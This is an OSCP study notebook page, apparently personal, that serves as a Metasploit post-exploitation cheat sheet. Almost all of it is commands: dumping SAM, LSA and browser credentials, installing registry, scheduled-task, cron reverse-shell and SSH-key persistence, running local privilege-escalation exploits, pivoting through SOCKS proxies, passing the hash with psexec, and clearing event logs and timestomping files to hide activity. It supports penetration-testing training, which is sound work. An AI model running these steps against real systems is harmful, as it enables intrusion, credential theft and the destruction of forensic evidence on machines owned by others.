Pearson's OSCP Notebook

Post-Exploitation

Properties1
tagsmetasploit, post-exploitation, hashdump, persistence, pivoting, lateral-movement, enumeration

4 min read

Post-Exploitation — Metasploit Post Modules

What are Post Modules?

Post modules run after you have a shell or meterpreter session. They automate common post-exploitation tasks: enumeration, credential harvesting, pivoting, persistence, cleanup, and more.

# Usage pattern
use post/<category>/<module>
set SESSION <ID>
run
 
# Or from meterpreter directly
run post/<category>/<module>

📌 1) Finding Post Modules

# In msfconsole
search type:post platform:windows
search type:post name:gather
search type:post name:privesc
 
# Browse categories
ls /usr/share/metasploit-framework/modules/post/

Post module categories

CategoryPurpose
multi/reconMulti-platform recon / suggester
multi/gatherGeneric credential and data gathering
multi/manageSession management (routing, shells, TTY)
windows/gatherWindows-specific enumeration & data harvesting
windows/manageWindows-specific session/system management
windows/escalateWindows privilege escalation techniques
linux/gatherLinux-specific enumeration
linux/manageLinux session management

📌 2) Recon & Enumeration

Local Exploit Suggester (must-run after landing)

run post/multi/recon/local_exploit_suggester

Checks the target for known local privilege escalation exploits based on OS and patch level. Always run this first.

System enumeration

run post/windows/gather/enum_system          # OS info, patches, installed software
run post/windows/gather/enum_applications    # Installed applications
run post/windows/gather/enum_services        # Running services
run post/windows/gather/enum_shares          # SMB shares
run post/windows/gather/enum_logged_on_users # Who is logged in
run post/windows/gather/enum_domain          # Domain name, DC, trust relationships
run post/windows/gather/enum_ad_computers    # AD computers
run post/windows/gather/enum_ad_users        # AD users
run post/linux/gather/enum_system            # Linux OS enum
run post/linux/gather/enum_network           # Linux network info
run post/linux/gather/enum_users_history     # Shell history & users

Network enumeration

run post/multi/gather/ping_sweep RHOSTS=172.16.0.0/24    # Ping sweep internal subnet
run post/multi/gather/resolve_hosts RHOSTS_FILE=/tmp/hosts.txt  # Resolve hostnames
run post/windows/gather/arp_scanner RHOSTS=172.16.0.0/24  # ARP-based host discovery

File searching

run post/windows/gather/search_useful_files   # Common useful files (configs, creds, etc.)
run post/multi/gather/find_prefix_name FILES=password
run post/windows/gather/credentials/credential_collector  # All credential files

📌 3) Credential Harvesting

# SAM / NTLM hashes
run post/windows/gather/hashdump              # Dump local SAM hashes
run post/windows/gather/smart_hashdump        # Local + domain hashes (requires SYSTEM)
 
# LSA Secrets
run post/windows/gather/lsa_secrets           # LSA secrets (service account passwords, etc.)
 
# Credential files
run post/windows/gather/credentials/credential_collector
run post/windows/gather/credentials/windows_autologin    # AutoLogon registry creds
run post/windows/gather/credentials/wce                  # Windows Credential Editor
run post/windows/gather/credentials/gpp                  # Group Policy Preferences (plaintext passwords)
 
# Browser creds
run post/multi/gather/firefox_creds           # Firefox saved passwords
run post/windows/gather/credentials/chrome    # Chrome saved passwords
 
# Linux credentials
run post/linux/gather/hashdump                # /etc/shadow dump
run post/linux/gather/credentials/credential_collector

📌 4) Persistence

Windows persistence

# Startup registry key
run post/windows/manage/persistence_exe \
  STARTUP=REGISTRY \
  EXE_NAME=svchost32.exe \
  SESSION=<ID>
 
# Scheduled task
run post/windows/manage/persistence_exe \
  STARTUP=SCHEDULER \
  SESSION=<ID>
 
# Service-based persistence
run post/windows/manage/persistence \
  STARTUP=SERVICE \
  SESSION=<ID>
 
# Via PowerShell (encoded)
run post/windows/manage/powershell/exec_powershell

Linux persistence

# Cron job (adds reverse shell to crontab)
run post/linux/manage/cron_persistence
 
# SSH key injection
run post/linux/manage/sshkey_persistence

📌 5) Privilege Escalation Modules

# Windows
run post/multi/recon/local_exploit_suggester  # Find candidate exploits
use exploit/windows/local/bypassuac_eventvwr  # UAC bypass (medium integrity)
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc  # MS16-032
use exploit/windows/local/ms14_058_track_popup_menu  # MS14-058
use exploit/windows/local/cve_2019_1458_wizardopium  # Win7/2008
use exploit/windows/local/always_install_elevated  # AlwaysInstallElevated
 
# Linux
use exploit/linux/local/cve_2021_4034_pwnkit  # PwnKit (pkexec privesc)
use exploit/linux/local/cve_2022_0847_dirtypipe  # DirtyPipe
use exploit/linux/local/sudo_baron_samedit  # CVE-2021-3156 (sudo heap overflow)

📌 6) Pivoting & Lateral Movement

Routing through a session

# Method 1: autoroute post module
run post/multi/manage/autoroute
run post/multi/manage/autoroute SUBNET=172.16.0.0/24 NETMASK=255.255.255.0
 
# Method 2: msfconsole route command
route add 172.16.0.0/24 <SESSION_ID>
route print
 
# Method 3: portfwd (single port forward — from meterpreter)
portfwd add -l 445 -r 172.16.0.5 -p 445

SOCKS proxy for non-MSF tools

# After adding a route, set up SOCKS
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j
 
# Configure proxychains
# Edit /etc/proxychains4.conf:
#   socks5 127.0.0.1 1080
 
# Now run any tool through the pivot
proxychains nmap -sT -Pn 172.16.0.0/24
proxychains gobuster dir -u http://172.16.0.5 -w /usr/share/wordlists/dirb/common.txt
proxychains python3 exploit.py

Pass-the-Hash with MSF

use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0  # LM:NTLM
set RHOSTS 172.16.0.5
set payload windows/x64/meterpreter/bind_tcp   # bind since we're going through a pivot
run

WMI exec

use exploit/windows/local/current_user_psexec
use auxiliary/scanner/smb/impacket/wmiexec

📌 7) Cleanup

# Remove persistence
run post/windows/manage/persistence_exe CLEANUP=true SESSION=<ID>
 
# Clear Windows event logs
run post/windows/manage/clear_event_log NAME=System
run post/windows/manage/clear_event_log NAME=Security
run post/windows/manage/clear_event_log NAME=Application
 
# Timestomp (modify file timestamps)
timestomp <file> -m "01/01/2020 00:00:00"  # Modify time
timestomp <file> -r                         # Randomize timestamps
timestomp <file> -v                         # View current timestamps

📌 Quick Post-Exploitation Flow

# 1. Immediately after landing meterpreter
sysinfo && getuid && getpid && ps
 
# 2. Escalate
getsystem
# If that fails:
run post/multi/recon/local_exploit_suggester
 
# 3. Dump credentials
hashdump
load kiwi && creds_all
 
# 4. Enumerate pivot targets
run post/multi/gather/ping_sweep RHOSTS=172.16.0.0/24
ipconfig && arp
 
# 5. Set up pivot
run post/multi/manage/autoroute
# Then: use auxiliary/server/socks_proxy → run -j
 
# 6. Enumerate the domain
run post/windows/gather/enum_domain
run post/windows/gather/enum_ad_users
 
# 7. Move laterally (e.g. psexec with hash)
use exploit/windows/smb/psexec

Graph View

Backlinks